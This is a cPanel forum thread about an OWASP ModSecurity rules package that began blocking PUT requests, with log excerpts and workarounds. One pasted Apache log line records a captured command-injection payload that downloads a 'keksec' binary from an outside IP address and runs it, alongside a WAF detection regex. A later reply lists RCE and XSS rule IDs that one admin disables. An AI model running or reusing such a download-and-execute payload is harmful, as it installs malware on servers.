ModSecurity update causing 403 Forbidden for PUT requests to server, requires editing tx.allowed_methods
Hi all, this may be nothing but I wanted to post my experience this morning with our website suddenly refusing PUT requests. This morning I visited the WHM interface and got an upgrade popup saying that new ModSecurity rules would be installed (my memory is not perfect but it definitely informed me of a change), which I accepted.
Our REST API supports the usual GET, POST, PUT, DELETE etc HTTP verbs and this morning our staff found that a PUT request was being rejected. The browser got a 403 Forbidden response. Looking into the logs in /var/log/apache2/error_log I saw things like this:
This was completely new to me and I had to do some emergency googling and digging. I went to the WHM interface and found ModSecurity Configuration -> Rules Engine which was set to "Process the rules", I changed this to "Process the rules in verbose mode, but do not execute disruptive actions." but this did not resolve the issue. Since the error_log mentioned tx.allowed_methods, I ran "find /etc -name \*.conf | xargs grep 'tx.allowed_methods'" and found this file: conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-901-INITIALIZATION.conf Which contained this: # Default HTTP policy: allowed_methods (rule 900200) SecRule &TX:allowed_methods "@eq 0" \ "id:901160,\ phase:1,\ pass,\ nolog,\ ver:'OWASP_CRS/3.3.0',\ setvar:'tx.allowed_methods=GET HEAD POST OPTIONS'" This appears to deny PUT and DELETE (and other) verbs. I edited this file to add "PUT DELETE", restarted the server, and our staff can now operate normally. The timestamp on that file was 12 November 2020, more than 1 month ago. I don't know cpanel/whm well enough to know how to trace when or how it was installed/updated. Hopefully this might help others :) Please feed back if there's anything about the above that's not correct. Nick
[Tue Dec 15 07:47:24.900788 2020] [:error] [pid 23593] [client 1.2.3.4:37090] [client 1.2.3.4] ModSecurity: Warning. Match of "within %{tx.allowed_methods}" against "REQUEST_METHOD" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-911-METHOD-ENFORCEMENT.conf"> [line "43"> [id "911100"> [msg "Method is not allowed by policy"> [data "PUT"> [severity "CRITICAL"> [ver "OWASP_CRS/3.3.0"> [tag "application-multi"> [tag "language-multi"> [tag "platform-multi"> [tag "attack-generic"> [tag "paranoia-level/1"> [tag "OWASP_CRS"> [tag "capec/1000/210/272/220/274"> [tag "PCI/12.1"> [hostname "our.hostname.com"> [uri "/our_rest_api/thing/foo/bar/"> [unique_id "X9hqDLE8XboxX7bDSJdE5wAAAD4">, referer: https://our.hostname.com/path/to/file.phpThis was completely new to me and I had to do some emergency googling and digging. I went to the WHM interface and found ModSecurity Configuration -> Rules Engine which was set to "Process the rules", I changed this to "Process the rules in verbose mode, but do not execute disruptive actions." but this did not resolve the issue. Since the error_log mentioned tx.allowed_methods, I ran "find /etc -name \*.conf | xargs grep 'tx.allowed_methods'" and found this file: conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-901-INITIALIZATION.conf Which contained this: # Default HTTP policy: allowed_methods (rule 900200) SecRule &TX:allowed_methods "@eq 0" \ "id:901160,\ phase:1,\ pass,\ nolog,\ ver:'OWASP_CRS/3.3.0',\ setvar:'tx.allowed_methods=GET HEAD POST OPTIONS'" This appears to deny PUT and DELETE (and other) verbs. I edited this file to add "PUT DELETE", restarted the server, and our staff can now operate normally. The timestamp on that file was 12 November 2020, more than 1 month ago. I don't know cpanel/whm well enough to know how to trace when or how it was installed/updated. Hopefully this might help others :) Please feed back if there's anything about the above that's not correct. Nick
-
Hey there! I'm doing some testing on this on my end and I'll let you know what I find soon. 0 -
I went through and checked cPanel versions going back to 76, which was moved to the Release tier around November 2018, and found that same configuration line is in place in all of them for rule 900200, so I don't believe there has been a recent update that has changed that behavior, at least on the cPanel side of things. Is it possible your application may have experienced an update that changed this? 0 -
Thanks for checking @cPRex .. I'm the sole developer on our system and am sure that we've been using PUT requests reliably up until the change yesterday. I'm not familiar with mod_security, I know the name of course but have always ignored it, and haven't made any changes that I'm aware of, so it's perfectly possible that it was simply disabled on our server (so the config was there to deny the requests, but it simply wasn't being used) and has become enabled somehow. The only change I can think of was me accepting the change notification when logging onto WHM that morning. I see mod_security2 is one of the Enabled modules in EasyApache4 and am certain I haven't changed any settings in there since the server was first stood up around July. /var/log/apache2/error_log has logs going back to July, and searching for OWASP from the top shows Dec 15 as the first entry immediately after a server restart: [Mon Dec 14 21:39:15.069158 2020] [proxy_fcgi:error] [pid 28617] [client 20.62.192.48:59127] AH01071: Got error 'Primary script unknown' [Mon Dec 14 21:54:33.733337 2020] [proxy_fcgi:error] [pid 29778] [client 20.62.192.48:54293] AH01071: Got error 'Primary script unknown' [Tue Dec 15 01:38:17.251809 2020] [mpm_prefork:notice] [pid 10312] AH00171: Graceful restart requested, doing restart [Tue Dec 15 01:38:17.346374 2020] [mpm_prefork:notice] [pid 10312] AH00163: Apache/2.4.46 (cPanel) OpenSSL/1.1.1h mod_bwlimited/1.4 configured -- resuming normal operations [Tue Dec 15 01:38:17.346388 2020] [core:notice] [pid 10312] AH00094: Command line: '/usr/sbin/httpd' [Tue Dec 15 01:48:42.449190 2020] [mpm_prefork:notice] [pid 10312] AH00171: Graceful restart requested, doing restart [Tue Dec 15 01:48:42.542689 2020] [mpm_prefork:notice] [pid 10312] AH00163: Apache/2.4.46 (cPanel) OpenSSL/1.1.1h mod_bwlimited/1.4 configured -- resuming normal operations [Tue Dec 15 01:48:42.542705 2020] [core:notice] [pid 10312] AH00094: Command line: '/usr/sbin/httpd' [Tue Dec 15 01:48:51.273610 2020] [mpm_prefork:notice] [pid 10312] AH00171: Graceful restart requested, doing restart [Tue Dec 15 01:48:51.374170 2020] [mpm_prefork:notice] [pid 10312] AH00163: Apache/2.4.46 (cPanel) OpenSSL/1.1.1h mod_bwlimited/1.4 configured -- resuming normal operations [Tue Dec 15 01:48:51.374190 2020] [core:notice] [pid 10312] AH00094: Command line: '/usr/sbin/httpd' [Tue Dec 15 01:49:21.472635 2020] [mpm_prefork:notice] [pid 10312] AH00169: caught SIGTERM, shutting down [Tue Dec 15 01:49:21.965658 2020] [core:notice] [pid 18737] SELinux policy enabled; httpd running as context system_u:system_r:unconfined_service_t:s0 [Tue Dec 15 01:49:21.968657 2020] [:notice] [pid 18737] ModSecurity for Apache/2.9.3 (http://www.modsecurity.org/) configured. [Tue Dec 15 01:49:21.968667 2020] [:notice] [pid 18737] ModSecurity: APR compiled version="1.7.0"; loaded version="1.7.0" [Tue Dec 15 01:49:21.968670 2020] [:notice] [pid 18737] ModSecurity: PCRE compiled version="8.32 "; loaded version="8.32 2012-11-30" [Tue Dec 15 01:49:21.968672 2020] [:notice] [pid 18737] ModSecurity: LUA compiled version="Lua 5.1" [Tue Dec 15 01:49:21.968673 2020] [:notice] [pid 18737] ModSecurity: YAJL compiled version="2.0.4" [Tue Dec 15 01:49:21.968675 2020] [:notice] [pid 18737] ModSecurity: LIBXML compiled version="2.9.7" [Tue Dec 15 01:49:21.968677 2020] [:notice] [pid 18737] ModSecurity: Status engine is currently disabled, enable it by set SecStatusEngine to On. [Tue Dec 15 01:49:22.014702 2020] [mpm_prefork:notice] [pid 18740] AH00163: Apache/2.4.46 (cPanel) OpenSSL/1.1.1h mod_bwlimited/1.4 configured -- resuming normal operations [Tue Dec 15 01:49:22.014742 2020] [core:notice] [pid 18740] AH00094: Command line: '/usr/sbin/httpd' [Tue Dec 15 01:52:32.566990 2020] [:error] [pid 19778] [client 115.28.208.35:57083] [client 115.28.208.35] ModSecurity: Warning. Pattern match "^[\\\\d.:]+$" at REQUEST_HEADERS:Host. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"> [line "735"> [id "920350"> [msg "Host header is a numeric IP address"> [data "127.0.0.1:8080"> [severity "WARNING"> [ver "OWASP_CRS/3.3.0"> [tag "application-multi"> [tag "language-multi"> [tag "platform-multi"> [tag "attack-protocol"> [tag "paranoia-level/1"> [tag "OWASP_CRS"> [tag "capec/1000/210/272"> [tag "PCI/6.5.10"> [hostname "127.0.0.1"> [uri "/cgi-bin/kerbynet"> [unique_id "X9gW4CYZWk8j-A4pFpxTNAAAAB8"> [Tue Dec 15 01:52:32.568020 2020] [:error] [pid 19778] [client 115.28.208.35:57083] [client 115.28.208.35] ModSecurity: Warning. Pattern match "(?:;|\\\\{|\\\\||\\\\|\\\\||&|&&|\\\\n|\\\\r|\\\\$\\\\(|\\\\$\\\\(\\\\(|`|\\\\${|<\\\\(|>\\\\(|\\\\(\\\\s*\\\\))\\\\s*(?:{|\\\\s*\\\\(\\\\s*|\\\\w+=(?:[^\\\\s]*|\\\\$.*|\\\\$.*|<.*|>.*|\\\\'.*\\\\'|\\".*\\")\\\\s+|!\\\\s*|\\\\$)*\\\\s*(?:'|\\")*(?:[\\\\?\\\\*\\\\[\\\\]\\\\(\\\\)\\\\-\\\\|+\\\\w'\\"\\\\./\\\\\\\\]+/)?[\\\\\\\\'\\">*(?:l[\\\\\\\\'\\">* ..." at ARGS:x509type. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf"> [line "122"> [id "932100"> [msg "Remote Command Execution: Unix Command Injection"> [data "Matched Data: ;curl found within ARGS:x509type: '\\x0a/etc/sudo tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=\\x22wget http://107.174.133.119/bins/keksec.x86 -O /tmp/.keksec.x86;curl http://107.174.133.119/bins/keksec.x86 -O /tmp/.keksec.x86; chmod 777 /tmp/.keksec.x86; /tmp/.keksec.x86\\x22\\x0a'"> [severity "CRITICAL"> [ver "OWASP_CRS/3.3.0"> [tag "application-multi"> [tag "language-shell"> [tag "platform-unix"> [tag "attack-rce"> [tag "paranoia-level/1"> [tag "OWASP_CRS"> [tag "capec/1000/152/248/88"> [hostname "127.0.0.1"> [uri "/cgi-bin/kerbynet"> [unique_id "X9gW4CYZWk8j-A4pFpxTNAAAAB8">
As the first occurance of the string 'OWASP' since the server was first installed, this seems to be when it was enabled. The mention of SecStatusEngine seems to be unrelated .. now, searching back to the previous mention of ModSecurity revealed this 5 days before:[Thu Dec 10 01:38:18.083819 2020] [mpm_prefork:notice] [pid 9823] AH00169: caught SIGTERM, shutting down [Thu Dec 10 01:38:18.587157 2020] [core:notice] [pid 10309] SELinux policy enabled; httpd running as context system_u:system_r:unconfined_service_t:s0 [Thu Dec 10 01:38:18.591673 2020] [:notice] [pid 10309] ModSecurity for Apache/2.9.3 (http://www.modsecurity.org/) configured. [Thu Dec 10 01:38:18.591680 2020] [:notice] [pid 10309] ModSecurity: APR compiled version="1.7.0"; loaded version="1.7.0" [Thu Dec 10 01:38:18.591684 2020] [:notice] [pid 10309] ModSecurity: PCRE compiled version="8.32 "; loaded version="8.32 2012-11-30" [Thu Dec 10 01:38:18.591686 2020] [:notice] [pid 10309] ModSecurity: LUA compiled version="Lua 5.1" [Thu Dec 10 01:38:18.591687 2020] [:notice] [pid 10309] ModSecurity: YAJL compiled version="2.0.4" [Thu Dec 10 01:38:18.591688 2020] [:notice] [pid 10309] ModSecurity: LIBXML compiled version="2.9.7" [Thu Dec 10 01:38:18.591690 2020] [:notice] [pid 10309] ModSecurity: Status engine is currently disabled, enable it by set SecStatusEngine to On. [Thu Dec 10 01:38:18.609086 2020] [mpm_prefork:notice] [pid 10312] AH00163: Apache/2.4.46 (cPanel) OpenSSL/1.1.1h mod_bwlimited/1.4 configured -- resuming normal operations
I don't see anything different in the logged versions etc, yet this restart 5 days before did not have the OWASP stuff being logged, and the 15th Dec restart does. Something in the config seems to have changed and I'm 99% sure it wasn't me. Is there anything else you would suggest I check?0 -
I should have thought of this before .. checking /var/log/yum.log shows a modsec package being installed on the day in question: # grep modsec yum.log Dec 15 01:48:40 Installed: ea-modsec2-rules-owasp-crs-3.3.0-4.4.2.cpanel.x86_64
I'm not sure what has brought this package in. No other packages seem to depend on it. I had installed ImageMagick just a few minutes before, here is the last section of yum.log:Dec 10 01:38:15 Updated: ea-profiles-cpanel-1.0-50.50.1.cpanel.x86_64 Dec 10 01:38:15 Updated: ea-cpanel-tools-1.0-39.39.1.cpanel.x86_64 Dec 10 01:38:15 Updated: ea-apache24-mod_suphp-0.7.2-27.27.4.cpanel.x86_64 Dec 10 01:38:15 Updated: ea-apache24-mod_bwlimited-1.4-47.49.25.cpanel.x86_64 Dec 15 01:43:45 Installed: libwebp7-1.0.3-1.el7.remi.x86_64 Dec 15 01:43:45 Installed: libXfixes-devel-5.0.3-1.el7.x86_64 Dec 15 01:43:45 Installed: libraqm-0.7.0-4.el7.x86_64 Dec 15 01:43:45 Installed: gl-manpages-1.1-7.20130122.el7.noarch Dec 15 01:43:45 Installed: fftw-libs-double-3.3.3-8.el7.x86_64 Dec 15 01:43:45 Installed: libXdamage-devel-1.1.4-4.1.el7.x86_64 Dec 15 01:43:45 Installed: libwebp7-devel-1.0.3-1.el7.remi.x86_64 Dec 15 01:43:45 Installed: openjpeg2-tools-2.3.1-3.el7_7.x86_64 Dec 15 01:43:45 Installed: openjpeg2-devel-2.3.1-3.el7_7.x86_64 Dec 15 01:43:45 Installed: jbigkit-devel-2.0-11.el7.x86_64 Dec 15 01:43:45 Installed: mesa-libGLU-9.0.0-4.el7.x86_64 Dec 15 01:43:45 Installed: 1:libglvnd-core-devel-1.0.1-0.8.git5baa1e5.el7.x86_64 Dec 15 01:43:45 Installed: LibRaw-0.19.4-1.el7.x86_64 Dec 15 01:43:45 Installed: 1:libglvnd-gles-1.0.1-0.8.git5baa1e5.el7.x86_64 Dec 15 01:43:45 Installed: libdrm-devel-2.4.97-2.el7.x86_64 Dec 15 01:43:45 Installed: 1:libglvnd-opengl-1.0.1-0.8.git5baa1e5.el7.x86_64 Dec 15 01:43:45 Installed: 1:libglvnd-devel-1.0.1-0.8.git5baa1e5.el7.x86_64 Dec 15 01:43:45 Installed: libXxf86vm-devel-1.1.4-1.el7.x86_64 Dec 15 01:43:46 Installed: gtk2-2.24.31-1.el7.x86_64 Dec 15 01:43:46 Installed: mesa-khr-devel-18.3.4-12.el7_9.x86_64 Dec 15 01:43:46 Installed: mesa-libGL-devel-18.3.4-12.el7_9.x86_64 Dec 15 01:43:46 Installed: mesa-libGLU-devel-9.0.0-4.el7.x86_64 Dec 15 01:43:46 Installed: ilmbase-devel-1.0.3-7.el7.x86_64 Dec 15 01:43:46 Installed: OpenEXR-devel-1.7.1-8.el7.x86_64 Dec 15 01:43:46 Installed: lcms2-devel-2.6-3.el7.x86_64 Dec 15 01:43:46 Installed: libXaw-1.0.13-4.el7.x86_64 Dec 15 01:43:46 Installed: graphviz-2.30.1-22.el7.x86_64 Dec 15 01:43:46 Installed: ImageMagick-libs-6.9.11.48-1.el7.remi.x86_64 Dec 15 01:43:46 Updated: ImageMagick-6.9.11.48-1.el7.remi.x86_64 Dec 15 01:43:47 Updated: ImageMagick-devel-6.9.11.48-1.el7.remi.x86_64 Dec 15 01:48:40 Installed: ea-modsec2-rules-owasp-crs-3.3.0-4.4.2.cpanel.x86_64
So, since some package updates 5 days before, suddenly today this modsec2 rules packages comes out of nowhere, and presumably starts to apply those rules on our server where no rules were in place before. Nothing seems to depend on this package:# rpm -q --whatrequires ea-modsec2-rules-owasp-crs-3.3.0-4.4.2.cpanel.x86_64 no package requires ea-modsec2-rules-owasp-crs-3.3.0-4.4.2.cpanel.x86_64
I'm aware there is some kind of daily rpm update command run on a cPanel server but don't know much about it.0 -
The nightly cPanel update does check for operating system packages as well, but to enable that package specifically, something would have had to be clicked. It was likely the Feature Showcase tool you mentioned seeing during one of the WHM logins, but you're free to remove the ModSecurity tool from WHM >> ModSecurity Vendors if you don't want that in place. 0 -
Thanks again @cPRex .. from the look of Security Center -> ModSecurity Tools, the OWASP rules are blocking a lot of nasty hack attempts, so I guess they're doing a good job. I've found that editing the vendor rules is not allowed, but talks about a good method for copying and editing rules. The exact steps seem to have changed since then so: - Go to Home -> Security Center -> ModSecurity Tools - click on Rules List button at the top right - find, or search, for your rule, in my case searching for "allowed_methods" brought up the one I want - click the Copy button to the right of the rule - make any changes you need and click Save, select "Deploy and Restart Apache" for immediate effect This has created a new file, /etc/apache2/conf.d/modsec/modsec2.user.conf which contains my copied rule. I hope this would persist the rule change, even if the vendor OWASP package is reinstalled and my changes there are lost. I guess that closes the issue for me, and I hope it helps others :) 0 -
On one of our servers for about a dozen accounts that use WP, we've had to whitelist about a dozen OWASP rule IDs each in those accounts: 932100 932105 932115 932130 933210 934100 941100 941160 941180 950130 953120 932110 i hope this list helps others, it's been several support tickets each day for one or more on this list. we use the configserv interface which makes it very easy to manage in their WHM plugin UI. 0 -
Hi people, I hope you are all ok! I have the same problem as the title says, but as a web admin, I can't access to the \var\log\apache2 directory :confused: I've been reading lots and lots of forums since last two weeks but with no luck to solve the problem. Now I know mod_security2 ignores .htaccess directives to rewrite some security rules. We use the Owncloud app and have some php pages that enable our users to upload files directly from our intranet without using the Owncloud interface. That's because we have some validation instance of the files to be uploaded. But after upgrading from php 7.3 to 7.4 the CURL commands stopped working when PUT method is used. The GET and POST keep working ok. We don't want to downgrade php to its previous version. At the PHP Selector section, we just see "native (7.4)" version and we are unable to change modules and options. What can we do to fix this problem?? Our ISP said we had to solve it using .htaccess configuration, but if we use SecFilterEngine Off, or SetEnvIf Remote_Addr ^our.ip$ MODSEC_ENABLE=Off, or SecRuleRemoveById 212000-212999, or similar, we always get 500 server error :( I hope you as the gurus of cPanel can help us to find a solution :-p Regards! 0 -
@Pablobaldu - with only access to cPanel and not root access to the server, your troubleshooting is going to be limited. It would be best to reach out to your hosting provider or datacenter to see if they can offer deeper assistance with troubleshooting this issue. 0 -
Like wsherwood, I install the sister product to CSF, ConfigServer ModSecurity Control (cmc) to manage rule exceptions and has worked well over the years, regardless of WHM versions/updates. I do stick with OWASP rulesets though. Something for others to consider? 0
Please sign in to leave a comment.
Comments
10 comments